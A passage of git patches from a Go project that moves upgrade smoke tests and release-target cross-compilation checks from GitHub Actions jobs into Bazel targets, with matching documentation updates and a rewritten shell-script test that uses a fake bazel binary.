&& // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: cross-version-smoke.yml). F7a independently defined the same -// const; both are now served by the single shared sameRepoBlacksmith4vcpu in -// ci_blacksmith_runner_test.go. +// compile Go). F7a independently defined the same const; both are now served +// by the single shared sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): @@ -3038,8 +3037,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. - "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, - "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, + "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one // Blacksmith job that is NOT gated by the same-repo-PR expression: it // is push-to-main only (always trusted), so it wraps the literal @@ -3103,7 +3101,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "cross-version-smoke.yml", "docs-mintlify.yml", + "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) allowed := want[file] diff --git a/scripts/upgrade-smoke-test.sh b/scripts/upgrade-smoke-test.sh index d5d426b4f..52b05fbf2 100755 --- a/scripts/upgrade-smoke-test.sh +++ b/scripts/upgrade-smoke-test.sh @@ -103,6 +103,17 @@ case "$ARCH" in esac get_previous_binary() { + # PREV_BIN (set by //tests/upgrade_smoke's targets) is the previous + # release already pinned and sha256-verified against the release catalog, + # so nothing is downloaded; it must report PREV_VERSION. + if [ -n "${PREV_BIN:-}" ]; then + if ! "$PREV_BIN" version 2>/dev/null | grep -qF " ${PREV_VER_BARE} "; then + echo -e "${RED}PREV_BIN=${PREV_BIN} does not report ${PREV_VERSION}${NC}" >&2 + exit 1 + fi + echo "$PREV_BIN" + return + fi local cached="$CACHE_DIR/bd-${PREV_VER_BARE}" if [ -x "$cached" ]; then echo "$cached" diff --git a/tests/upgrade_smoke/BUILD.bazel b/tests/upgrade_smoke/BUILD.bazel new file mode 100644 index 000000000..be70457de --- /dev/null +++ b/tests/upgrade_smoke/BUILD.bazel @@ -0,0 +1,43 @@ +load(":defs.bzl", "upgrade_smoke_tests") + +# The upgrade smoke tests (formerly cross-version-smoke.yml): one target per +# previous release, upgrade_smoke__test, running +# scripts/upgrade-smoke-test.sh from the pinned release +# (@bd_releases, sha256-verified against the release catalog) to the +# non-race bd_for_tests. The releases are the newest `window` the catalog +# pins a linux/amd64 asset for (its stable GitHub releases), so a release +# added to the catalog joins the window and the oldest drops out. The PR-core +# lane (bazel-test) runs them remotely on every PR, merge group and push, and +# a target re-runs only when the candidate, the script or its release +# changes. +# +# Tags: +# pr-core-only: shell tests against the release-shaped bd_for_tests (no +# integration tag); the integration lane, which requires Go testcases, +# leaves them out. +upgrade_smoke_tests( + tags = ["pr-core-only"], + window = 30, +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tests/upgrade_smoke/defs.bzl b/tests/upgrade_smoke/defs.bzl new file mode 100644 index 000000000..3c3045e56 --- /dev/null +++ b/tests/upgrade_smoke/defs.bzl @@ -0,0 +1,32 @@ +"""One upgrade smoke test per pinned previous release (see BUILD.bazel).""" + +load("@bd_releases//:versions.bzl", "VERSIONS") +load("@rules_shell//shell:sh_test.bzl", "sh_test") +load("//tools/bazel:bd_releases.bzl", "LINUX_AMD64") + +def upgrade_smoke_tests(window, tags): + """Declares upgrade_smoke__test for the newest `window` catalog releases. + + Args: + window: how many of the newest pinned releases to test. + tags: the tests' tags. + """ + for v in VERSIONS[-window:]: + sh_test( + name = "upgrade_smoke_{}_test".format(v.replace(".", "_")), + size = "large", + srcs = ["upgrade_smoke_test.sh"], + args = [v], + data = [ + "//:.buildflags", + "//cmd/bd:bd_for_tests", + "//scripts:upgrade-smoke-test.sh", + "@bd_releases//:" + v, + ], + env = { + "CANDIDATE_BIN": "$(rootpath //cmd/bd:bd_for_tests)", + "PREV_BIN": "$(rootpath @bd_releases//:{})".format(v), + }, + tags = tags, + target_compatible_with = LINUX_AMD64, + ) diff --git a/tests/upgrade_smoke/upgrade_smoke_test.sh b/tests/upgrade_smoke/upgrade_smoke_test.sh new file mode 100755 index 000000000..24130e901 --- /dev/null +++ b/tests/upgrade_smoke/upgrade_smoke_test.sh @@ -0,0 +1,17 @@ +#!/usr/bin/env bash +# One previous release of the upgrade smoke tests (formerly +# cross-version-smoke.yml's `scripts/upgrade-smoke-test.sh` loop): that +# release → the candidate, with both binaries pinned inputs, so the script +# downloads and builds nothing. +# +# The first argument is the release. CANDIDATE_BIN and PREV_BIN are +# runfiles-relative paths ($(rootpath ...), relative to the working directory +# Bazel starts the test in), made absolute here before the script changes +# directory. Any further arguments (a lane's --test_arg flags, meant for Go +# test binaries) are ignored. +set -euo pipefail +release="$1" +CANDIDATE_BIN="$PWD/${CANDIDATE_BIN:?}" +PREV_BIN="$PWD/${PREV_BIN:?}" +export CANDIDATE_BIN PREV_BIN +exec scripts/upgrade-smoke-test.sh "$release" From 5e736708667c56d963ca85e2ce567e941d498eba Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 03:18:37 +0000 Subject: [PATCH 142/325] ci(bazel): cross-compile every release target with Bazel, retire the go build job (#7332) pr.yml's check-release-target-cross-compilation ran `CGO_ENABLED=0 GOOS/GOARCH go build -tags gms_pure_go ./...` for the eight release targets on two GitHub/Blacksmith runners. It is now a step of bazel.yml's pure-Go lane (BAZEL_PURE, already required by ci-gate): scripts/ci/bazel-release-cross-compile.sh builds //tools/bazel:release_cross once, remotely, with --//tools/bazel:release_platforms set from scripts/ci/release-targets.txt (still the single source of truth, pinned to .goreleaser.yml). release_cross's split transition configures every go_library/go_binary for each rules_go platform with cgo off, so all eight platforms build in parallel in one invocation. - tools/bazel/release_cross.bzl: the split-transition rule and the string-list flag. - tools/bazel/go_srcs.py (make bazel-sync, checked by bazel-sync-check and TestBazelGoSrcsBlocksCurrent) keeps the release_cross target list; the script checks with bazel query that every Bazel package holding Go targets is reached before it builds. - //tools/bazel:pure_bd_has_no_cgo_only_deps: Bazel compiles gozstd's pure stubs where `go build` rejects them, so the pure bd of every platform must not link gozstd. - //internal/storage/embeddeddolt/cmd:cmd (cgo-only main, skipped by `go build ./...` under CGO_ENABLED=0) is tagged cgo-only and incompatible with pure builds. - A failed build is re-run per platform (cache hits) to name each failing GOOS/GOARCH. Same cgo-off coverage boundary as the retired job. Refs ga-96smfk.20. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/bazel.yml | 10 + .github/workflows/pr.yml | 62 +--- RELEASING.md | 21 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 18 +- internal/storage/embeddeddolt/cmd/BUILD.bazel | 8 + scripts/bazel_policy_test.go | 6 + scripts/check_release_cross_compile_test.go | 276 +++++++++++------- scripts/ci/bazel-release-cross-compile.sh | 91 ++++++ scripts/ci/check-release-cross-compile.sh | 64 ---- scripts/ci/release-targets.txt | 27 +- scripts/ci_blacksmith_runner_test.go | 3 +- scripts/ci_workflow_test.go | 129 ++++---- scripts/internal/testbash/BUILD.bazel | 7 +- tools/bazel/BUILD.bazel | 202 +++++++++++++ tools/bazel/go_srcs.py | 65 ++++- tools/bazel/release_cross.bzl | 55 ++++ 16 files changed, 707 insertions(+), 337 deletions(-) create mode 100755 scripts/ci/bazel-release-cross-compile.sh delete mode 100755 scripts/ci/check-release-cross-compile.sh create mode 100644 tools/bazel/release_cross.bzl diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index 6a8c8e381..f0da60d84 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -1049,6 +1049,16 @@ jobs: //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test + # Every release target (scripts/ci/release-targets.txt) on every PR, so + # a platform-gating mistake is caught here instead of at tag time + # (#5662): the whole tree, cgo off, one remote `bazel build + # --platforms=...` per target (the script's header has the coverage + # boundary: the cgo release builds are not compiled here). + - name: Cross-compile every release target (--config=release-cross) + run: | + set -euo pipefail + ./scripts/ci/bazel-release-cross-compile.sh + # `go build` with CGO_ENABLED=0 rejects a pure binary whose imports reach # dolt's cgo-only store/nbs (gozstd). Bazel compiles gozstd's pure stubs # instead, whose init panics (third_party/patches/gozstd_nocgo.patch), so diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 89470edf9..6fe5e1b8d 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -233,8 +233,8 @@ jobs: # # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's # `pure-Go and js/wasm` lane (bazel-pure) runs the same boundaries, and - # check-release-target-cross-compilation still `go build`s ./... with - # CGO_ENABLED=0 on every PR. + # also builds the whole tree with cgo off for every release target + # (scripts/ci/bazel-release-cross-compile.sh). check-cmd-bd-puregeo-tests: name: Check pure-Go and js/wasm boundaries (CGO_ENABLED=0) runs-on: ubuntu-latest @@ -318,61 +318,6 @@ jobs: run: | go test -tags gms_pure_go -count=1 -short -run '^Test(Help|CheckRemoteSafety|FormatDestroyToken|ShouldWireInitRemote|ExtractPrefix|IsNumericID|GetWorktreeGitDir|DriftItemStatuses|RunDriftChecks|IsServerProbablyRunning|CheckHooksDriftNotGitRepo|CheckServerDriftNoBeadsDir|CheckRemoteDriftNoBeadsDir|NocgoFactoriesHonorSharedServer|NocgoNewDoltStoreFromConfig_ErrorSuggestsCorrectFlag|NocgoNewReadOnlyStoreFromConfig_ErrorSuggestsCorrectFlag)' ./cmd/bd - # Compile every shipped release target on every PR, so a platform-gating - # mistake is caught here instead of at tag time (#5662). - # - # Coverage boundary, recorded so the green is not over-read: every leg below - # builds CGO_ENABLED=0, but .goreleaser.yml builds bd-linux-amd64, - # bd-linux-arm64 and bd-windows-amd64 with CGO_ENABLED=1, and the darwin pair - # is built natively at CGO_ENABLED=1 by release.yml's goreleaser-macos job. - # Five of these eight legs are therefore a weaker proxy than the binary they - # stand for: the cgo half of the tree (beads_cgo.go -> - # internal/storage/embeddeddolt) is never compiled here, so a break confined - # to it still passes this check. Only android/arm64, windows/arm64 and - # freebsd/amd64 replicate their release configuration exactly. - # - # The build scope is deliberately ./... and not the ./cmd/bd that every - # .goreleaser.yml build id declares as main:. Compiling the whole tree per - # platform is intentional extra coverage, not an oversight. - # - # F7a: folded from 8 per-target jobs into 2 per-group jobs. The target list - # moved out of this matrix and into scripts/ci/release-targets.txt, which - # scripts/ci/check-release-cross-compile.sh reads and - # TestReleaseTargetCrossCompilationMatrixMatchesGoreleaser pins against - # .goreleaser.yml, so the manifest (not this YAML) is now the single - # source of truth for the target set. Moved to Blacksmith for same-repo - # PRs/merge_group: this job restores no GitHub-saved build cache (only a - # best-effort module-cache restore, whose misses are cheap network - # fetches, not lost compute). Runner choice must match the - # TestSameRepoBlacksmithRunners pin. - check-release-target-cross-compilation: - name: Check release target cross-compilation (${{ matrix.group }}) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 20 - strategy: - fail-fast: false - matrix: - group: [unix, desktop] - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Restore Go module cache - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: ~/go/pkg/mod - key: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.mod', 'go.sum') }} - restore-keys: beads-go-mod-v2-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Build complete release target tree for group ${{ matrix.group }} - run: ./scripts/ci/check-release-cross-compile.sh ${{ matrix.group }} - # The lingering-handle liveness regression test is //go:build windows: the # Ubuntu job above selects it by name but compiles it out, and main.yml's # Windows job runs only on pushes to main (build/smoke, no go test). Run @@ -2290,7 +2235,6 @@ jobs: - build-artifacts - fast-checks - check-cmd-bd-puregeo-tests - - check-release-target-cross-compilation - test-windows-liveness - worktree-remove-windows - test-windows-liveness-prebuilt @@ -2319,7 +2263,6 @@ jobs: CHECK_MIGRATION_HYGIENE CHECK_NO_BEADS_CHANGES CHECK_CMD_BD_PUREGEO_TESTS - CHECK_RELEASE_TARGET_CROSS_COMPILATION CHECK_DOC_FLAGS CHECK_DOC_FRESHNESS_PLATFORMS PR_PREFLIGHT_PLATFORMS @@ -2359,7 +2302,6 @@ jobs: # job. FAST_CHECKS: ${{ needs.fast-checks.result }} CHECK_CMD_BD_PUREGEO_TESTS: ${{ needs.check-cmd-bd-puregeo-tests.result }} - CHECK_RELEASE_TARGET_CROSS_COMPILATION: ${{ needs.check-release-target-cross-compilation.result }} TEST_WINDOWS_LIVENESS: ${{ needs.test-windows-liveness.result }} WORKTREE_REMOVE_WINDOWS: ${{ needs.worktree-remove-windows.result }} # F4 side-by-side rollout: always evaluated, like the native pair diff --git a/RELEASING.md b/RELEASING.md index 894abbb20..a36816306 100644 --- a/RELEASING.md +++ b/RELEASING.md @@ -143,9 +143,9 @@ Before starting a release: - [ ] **Upgrade smoke tests pass** (`make test-upgrade`) — see [Release Stability Gate](engdocs/RELEASE-STABILITY-GATE.md) - [ ] **Regression tests pass** (`make test-regression`) - [ ] **Every release target cross-compiles** — see - [Cross-compile before tagging](#cross-compile-before-tagging). PR CI does - not build them ([#5662](https://github.com/gastownhall/beads/issues/5662)), - and a target that fails at tag time burns the tag. + [Cross-compile before tagging](#cross-compile-before-tagging). PR CI + builds them only with cgo off, and a target that fails at tag time + burns the tag. - [ ] **CHANGELOG.md updated with release notes** (see format below) - [ ] **CHANGELOG rollup checked** — nothing left under `[Unreleased]` that belongs in this release, and nothing filed under a *previous* release's @@ -163,12 +163,15 @@ Before starting a release: ### Cross-compile before tagging -`.goreleaser.yml` builds darwin, linux, windows **and freebsd**, but PR CI -builds none of the cross targets — the v1.2.0 tag burned on a freebsd -compilation failure that no pre-tag gate could have caught -([#5661](https://github.com/gastownhall/beads/pull/5661) fixed the break, -[#5662](https://github.com/gastownhall/beads/issues/5662) tracks the CI gap). -Until that gap is closed, build them by hand before tagging: +`.goreleaser.yml` builds darwin, linux, windows **and freebsd**; the v1.2.0 +tag burned on a freebsd compilation failure no pre-tag gate caught +([#5661](https://github.com/gastownhall/beads/pull/5661), +[#5662](https://github.com/gastownhall/beads/issues/5662)). PR CI now builds +the whole tree for every target in `scripts/ci/release-targets.txt` with Bazel +(`scripts/ci/bazel-release-cross-compile.sh`, in bazel.yml's pure-Go lane), +but with cgo off, while linux/amd64, linux/arm64, windows/amd64 and the darwin +pair ship with `CGO_ENABLED=1`. Build the real release configuration by hand +before tagging: ```bash goreleaser build --snapshot --clean diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 78218e20f..d879d6c8e 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -639,8 +639,6 @@ Do not require these existing check names directly: [Repository Guards as Bazel Tests](#repository-guards-as-bazel-tests)) - `Check pure-Go and js/wasm boundaries (CGO_ENABLED=0)` - `Check doc flags freshness` -- `Check release target cross-compilation (unix)` and `(desktop)` (F7a fold - of the former eight-target `check-release-target-cross-compilation` matrix) - `Windows Make shell (native, msys2, cygwin)` (F7a fold of the former `host: [native, msys2, cygwin]` three-job matrix) - `Test (Windows) small packages (doltversion, dbproxy server)` (F7a fold of @@ -925,8 +923,16 @@ manifests. On those PRs they are the tiers' only pre-merge run, and (`Test (Dolt server fingerprint)`, `TEST_DOLT_SERVER_FINGERPRINT`) pulled a docker image the workers do not have, so it is retired; the image tag stays pinned to the dolt release by - `TestPinnedDoltCLIMatchesContainerImage`. `check-release-target-cross-compilation` - still `go build`s `./...` with `CGO_ENABLED=0` on every PR. + `TestPinnedDoltCLIMatchesContainerImage`. The release-target + cross-compilation (formerly pr.yml's + `check-release-target-cross-compilation`, `go build ./...` with + `CGO_ENABLED=0` per target) is a step of bazel.yml's `bazel-pure` lane + (`BAZEL_PURE`): `scripts/ci/bazel-release-cross-compile.sh` runs one + remote `bazel build //tools/bazel:release_cross`, every `go_library` and + `go_binary` for each row of `scripts/ci/release-targets.txt`, plus + `//tools/bazel:pure_bd_has_no_cgo_only_deps` (a pure bd must not link + gozstd, which `go build` rejects with cgo off). Same cgo-off boundary as + the job it replaces. - Also kept on every PR, in the required job `scripts-go-checks` (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet checks (cmd/go's `defaultVetFlags`, policy-tested equal to the @@ -1219,7 +1225,8 @@ scope, not this slice's. `scripts/ci/check-release-cross-compile.sh `, which builds every target in its group sequentially and reports every failure before exiting non-zero, so a PR touching two platforms at once sees both failures in one - log instead of needing a per-target re-run. + log instead of needing a per-target re-run. (Since retired: bazel.yml's `bazel-pure` + lane builds the same manifest with Bazel, `--platforms` per target.) - **`advisory-reports` fold.** `build-examples` and `complexity-report` (both already advisory: neither was in ci-gate's `needs`/`CI_GATE_REQUIRED`) became one job's steps. Each keeps its pre-fold step-level @@ -1531,7 +1538,6 @@ PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` (native/darwin/windows, up to ~4 min), `check-doc-flags` (~1.7 min), `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), -`check-release-target-cross-compilation` (~5 min), `windows-make-shell` (~2.7 min), `windows-test-binaries` plus the prebuilt Windows pair (~7 min end to end), the advisory native Windows pair (~5 min; the gate waits for them), diff --git a/internal/storage/embeddeddolt/cmd/BUILD.bazel b/internal/storage/embeddeddolt/cmd/BUILD.bazel index da3b5b782..4fa70405d 100644 --- a/internal/storage/embeddeddolt/cmd/BUILD.bazel +++ b/internal/storage/embeddeddolt/cmd/BUILD.bazel @@ -8,9 +8,17 @@ go_library( deps = ["//internal/storage/embeddeddolt"], ) +# main.go is //go:build cgo: without cgo the package is empty, which +# `go build ./...` skips and a go_binary cannot link. cgo-only: left out of +# //tools/bazel:release_cross (tools/bazel/go_srcs.py). go_binary( name = "cmd", embed = [":cmd_lib"], + tags = ["cgo-only"], + target_compatible_with = select({ + "//tools/bazel:pure": ["@platforms//:incompatible"], + "//conditions:default": [], + }), visibility = ["//:__subpackages__"], ) diff --git a/scripts/bazel_policy_test.go b/scripts/bazel_policy_test.go index 43a1c815a..edcd54ee7 100644 --- a/scripts/bazel_policy_test.go +++ b/scripts/bazel_policy_test.go @@ -852,6 +852,12 @@ var allowedBazelTestTags = map[string]string{ // integration tag, as releases are, and running it again under the // integration build would only repeat it against a test-shaped bd. "pr-core-only": "runs only in --config=prcore/ci; excluded from --config=integration", + // For a go_binary whose every source file is `//go:build cgo`: it also + // sets target_compatible_with incompatible under //tools/bazel:pure, and + // tools/bazel/go_srcs.py and scripts/ci/bazel-release-cross-compile.sh + // leave it out of //tools/bazel:release_cross by this tag (`go build + // ./...` skips the package with CGO_ENABLED=0). + "cgo-only": "a go_binary with only cgo sources: incompatible with pure builds and left out of //tools/bazel:release_cross", } // bazelPRCoreExcludedTags are the tags whose targets never run in the PR-core diff --git a/scripts/check_release_cross_compile_test.go b/scripts/check_release_cross_compile_test.go index 0c473177e..240daaab3 100644 --- a/scripts/check_release_cross_compile_test.go +++ b/scripts/check_release_cross_compile_test.go @@ -9,155 +9,219 @@ import ( "testing" ) -// Review SF-6 (2026-10-03): check-release-cross-compile.sh (the F7a fold of -// pr.yml's check-release-target-cross-compilation matrix into two per-group -// legs) had no behavioural test. A planted "always exit 0" mutation passed -// every other policy test, which would make the required -// CHECK_RELEASE_TARGET_CROSS_COMPILATION token green even with every target -// broken. These tests put a fake `go` on PATH that records every invocation -// and can be told to fail for one target, then assert the script's actual -// failure-propagation, env/flag, and group-coverage behaviour against it. +// bazel-release-cross-compile.sh is the release-target cross-compilation +// gate: bazel.yml's pure-Go lane runs it, and it builds +// //tools/bazel:release_cross for every row of scripts/ci/release-targets.txt +// in one invocation. These tests put a fake `bazel` on PATH that records +// every invocation and can be told to fail for one platform, then assert the +// script's platform list, coverage check, flags, failure propagation and +// per-platform attribution against it, so an "always exit 0" mutation cannot +// keep the gate green with every target broken. -// fakeGoRecordingScript is a stand-in for `go build` that appends one line -// per invocation to $GO_CALL_LOG (goos, goarch, CGO_ENABLED, and the -// remaining args) and exits non-zero only when GOOS/GOARCH matches -// $GO_FAIL_TARGET. -const fakeGoRecordingScript = `#!/usr/bin/env bash +// fakeBazelRecordingScript stands in for bazel. `query` prints +// $FAKE_BUILT_PKGS for the deps of //tools/bazel:release_cross and +// $FAKE_WANT_PKGS for anything else; every command appends one line +// ("\t") to $BAZEL_CALL_LOG; `build` exits non-zero when its +// --//tools/bazel:release_platforms list names $BAZEL_FAIL_PLATFORM. +const fakeBazelRecordingScript = `#!/usr/bin/env bash set -euo pipefail -printf '%s\t%s\t%s\t%s\n' "${GOOS:-}" "${GOARCH:-}" "${CGO_ENABLED:-}" "$*" >> "$GO_CALL_LOG" -if [ "${GOOS:-}/${GOARCH:-}" = "${GO_FAIL_TARGET:-}" ]; then - echo "simulated build failure for ${GOOS:-}/${GOARCH:-}" >&2 - exit 1 +cmd="$1"; shift +printf '%s\t%s\n' "$cmd" "$*" >> "$BAZEL_CALL_LOG" +if [ "$cmd" = query ]; then + case "$*" in + *"deps(//tools/bazel:release_cross)"*) printf '%s\n' $FAKE_BUILT_PKGS ;; + *) printf '%s\n' $FAKE_WANT_PKGS ;; + esac + exit 0 fi +for a in "$@"; do + case "$a" in + --//tools/bazel:release_platforms=*) + if [ -n "${BAZEL_FAIL_PLATFORM:-}" ] && [[ ",${a#*=}," == *",$BAZEL_FAIL_PLATFORM,"* ]]; then + echo "simulated build failure for $a" >&2 + exit 1 + fi ;; + esac +done exit 0 ` -// runCheckReleaseCrossCompile copies the real check-release-cross-compile.sh -// into a throwaway directory alongside a caller-supplied manifest (so the -// test does not depend on the real scripts/ci/release-targets.txt growing or -// shrinking), puts a fake `go` on PATH ahead of everything else, and runs the -// script for the given group. failTarget (e.g. "linux/amd64") is the single -// GOOS/GOARCH the fake go fails for; empty means every target succeeds. -func runCheckReleaseCrossCompile(t *testing.T, group, manifest, failTarget string) (out string, err error, log string) { +const testPkgs = "cmd/bd internal/types" + +// runBazelReleaseCrossCompile copies the real script next to a +// caller-supplied manifest (so the test does not track the real +// release-targets.txt), puts the fake bazel first on PATH and runs it. +func runBazelReleaseCrossCompile(t *testing.T, manifest, failPlatform, builtPkgs string, args ...string) (out string, err error, calls []string) { t.Helper() if runtime.GOOS == "windows" { t.Skip("script is a Bash boundary") } - script, readErr := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "ci", "check-release-cross-compile.sh")) + script, readErr := os.ReadFile(filepath.Join(sourceRepoRoot(t), "scripts", "ci", "bazel-release-cross-compile.sh")) if readErr != nil { - t.Fatalf("read check-release-cross-compile.sh: %v", readErr) + t.Fatalf("read bazel-release-cross-compile.sh: %v", readErr) } dir := t.TempDir() scriptsCI := filepath.Join(dir, "scripts", "ci") - if mkErr := os.MkdirAll(scriptsCI, 0o700); mkErr != nil { - t.Fatal(mkErr) - } - scriptPath := filepath.Join(scriptsCI, "check-release-cross-compile.sh") - if writeErr := os.WriteFile(scriptPath, script, 0o700); writeErr != nil { - t.Fatal(writeErr) - } - if writeErr := os.WriteFile(filepath.Join(scriptsCI, "release-targets.txt"), []byte(manifest), 0o600); writeErr != nil { - t.Fatal(writeErr) - } - fakeBin := filepath.Join(dir, "fakebin") - if mkErr := os.MkdirAll(fakeBin, 0o700); mkErr != nil { - t.Fatal(mkErr) + for _, d := range []string{scriptsCI, fakeBin} { + if mkErr := os.MkdirAll(d, 0o700); mkErr != nil { + t.Fatal(mkErr) + } } - if writeErr := os.WriteFile(filepath.Join(fakeBin, "go"), []byte(fakeGoRecordingScript), 0o700); writeErr != nil { - t.Fatal(writeErr) + scriptPath := filepath.Join(scriptsCI, "bazel-release-cross-compile.sh") + for path, content := range map[string]string{ + scriptPath: string(script), + filepath.Join(scriptsCI, "release-targets.txt"): manifest, + filepath.Join(fakeBin, "bazel"): fakeBazelRecordingScript, + } { + if writeErr := os.WriteFile(path, []byte(content), 0o700); writeErr != nil { + t.Fatal(writeErr) + } } - logPath := filepath.Join(dir, "go-calls.log") + logPath := filepath.Join(dir, "bazel-calls.log") if writeErr := os.WriteFile(logPath, nil, 0o600); writeErr != nil { t.Fatal(writeErr) } - cmd := exec.Command("bash", scriptPath, group) + cmd := exec.Command("bash", append([]string{scriptPath}, args...)...) + cmd.Dir = dir cmd.Env = append(os.Environ(), "PATH="+fakeBin+":"+os.Getenv("PATH"), - "GO_CALL_LOG="+logPath, - "GO_FAIL_TARGET="+failTarget, + "BAZEL_CALL_LOG="+logPath, + "BAZEL_FAIL_PLATFORM="+failPlatform, + "FAKE_WANT_PKGS="+testPkgs, + "FAKE_BUILT_PKGS="+builtPkgs, ) outBytes, runErr := cmd.CombinedOutput() logBytes, _ := os.ReadFile(logPath) - return string(outBytes), runErr, string(logBytes) + for _, line := range strings.Split(strings.TrimRight(string(logBytes), "\n"), "\n") { + if line != "" { + calls = append(calls, line) + } + } + return string(outBytes), runErr, calls } -const testManifest = "linux amd64 unix\n" + - "darwin arm64 unix\n" + - "windows amd64 desktop\n" +const testReleaseManifest = "# comment\n" + + "linux amd64\n" + + "\n" + + "windows arm64\n" + + "darwin arm64\n" -// A failure in one target must propagate as a non-zero exit (the gate's -// whole point), must still attempt every other target in the group (so a PR -// touching two platforms sees both failures in one run), must name the -// failing target in an ::error:: line, and must pass CGO_ENABLED=0 and the -// gms_pure_go tag through to every invocation, not just the failing one. -func TestCheckReleaseCrossCompilePropagatesFailureAndCoversGroup(t *testing.T) { - out, err, log := runCheckReleaseCrossCompile(t, "unix", testManifest, "linux/amd64") - if err == nil { - t.Fatalf("script exited 0 with a failing target; want non-zero\noutput:\n%s", out) - } - if !strings.Contains(out, "::error::cross-compilation failed for linux/amd64") { - t.Errorf("output does not name the failing target:\n%s", out) - } - if !strings.Contains(out, "::error::cross-compilation failed for: linux/amd64") { - t.Errorf("output does not contain the final failed-targets summary line:\n%s", out) - } - // Both unix-group targets must have been attempted, in spite of the first - // one failing. - for _, want := range []string{"linux\tamd64", "darwin\tarm64"} { - if !strings.Contains(log, want) { - t.Errorf("fake go call log is missing an attempt for %s; every group target must run even after an earlier one fails:\n%s", want, log) - } - } - // The desktop-group target must not have been touched by a unix-group run. - if strings.Contains(log, "windows\tamd64") { - t.Errorf("fake go call log recorded a desktop-group target during a unix-group run:\n%s", log) - } - for _, line := range strings.Split(strings.TrimRight(log, "\n"), "\n") { - if line == "" { - continue - } - fields := strings.Split(line, "\t") - if len(fields) != 4 { - t.Fatalf("malformed fake go call log line %q", line) - } - if fields[2] != "0" { - t.Errorf("fake go call %q: CGO_ENABLED = %q, want \"0\"", line, fields[2]) - } - if !strings.Contains(fields[3], "-tags gms_pure_go ./...") { - t.Errorf("fake go call %q: args = %q, want them to contain \"-tags gms_pure_go ./...\"", line, fields[3]) +func buildCalls(calls []string) []string { + var out []string + for _, c := range calls { + if strings.HasPrefix(c, "build\t") { + out = append(out, c) } } + return out } -// Every target in a group still passes without a failTarget. -func TestCheckReleaseCrossCompileAllTargetsPass(t *testing.T) { - out, err, log := runCheckReleaseCrossCompile(t, "unix", testManifest, "") +const releaseFlag = "--//tools/bazel:release_platforms=" + +// One `bazel build --keep_going` of //tools/bazel:release_cross with every +// manifest row as a rules_go platform name, the caller's extra flags passed +// through, after a coverage check that queries the Go packages bazel knows +// and the ones release_cross reaches. +func TestBazelReleaseCrossCompileBuildsEveryManifestPlatform(t *testing.T) { + out, err, calls := runBazelReleaseCrossCompile(t, testReleaseManifest, "", testPkgs, "--config=remote-exec") if err != nil { t.Fatalf("script failed with no simulated failures: %v\noutput:\n%s", err, out) } - if !strings.Contains(out, "cross-compilation passed for group 'unix'") { - t.Errorf("output does not report success for the unix group:\n%s", out) + if len(calls) != 3 { + t.Fatalf("bazel calls = %q, want two queries and one build", calls) } - for _, want := range []string{"linux\tamd64", "darwin\tarm64"} { - if !strings.Contains(log, want) { - t.Errorf("fake go call log is missing an attempt for %s:\n%s", want, log) + for i, want := range []string{ + `kind("go_library|go_binary", //...) except siblings(attr(tags, "\bcgo-only\b", `, + "deps(//tools/bazel:release_cross)", + } { + if !strings.HasPrefix(calls[i], "query\t") || !strings.Contains(calls[i], want) || !strings.Contains(calls[i], "--output=package") { + 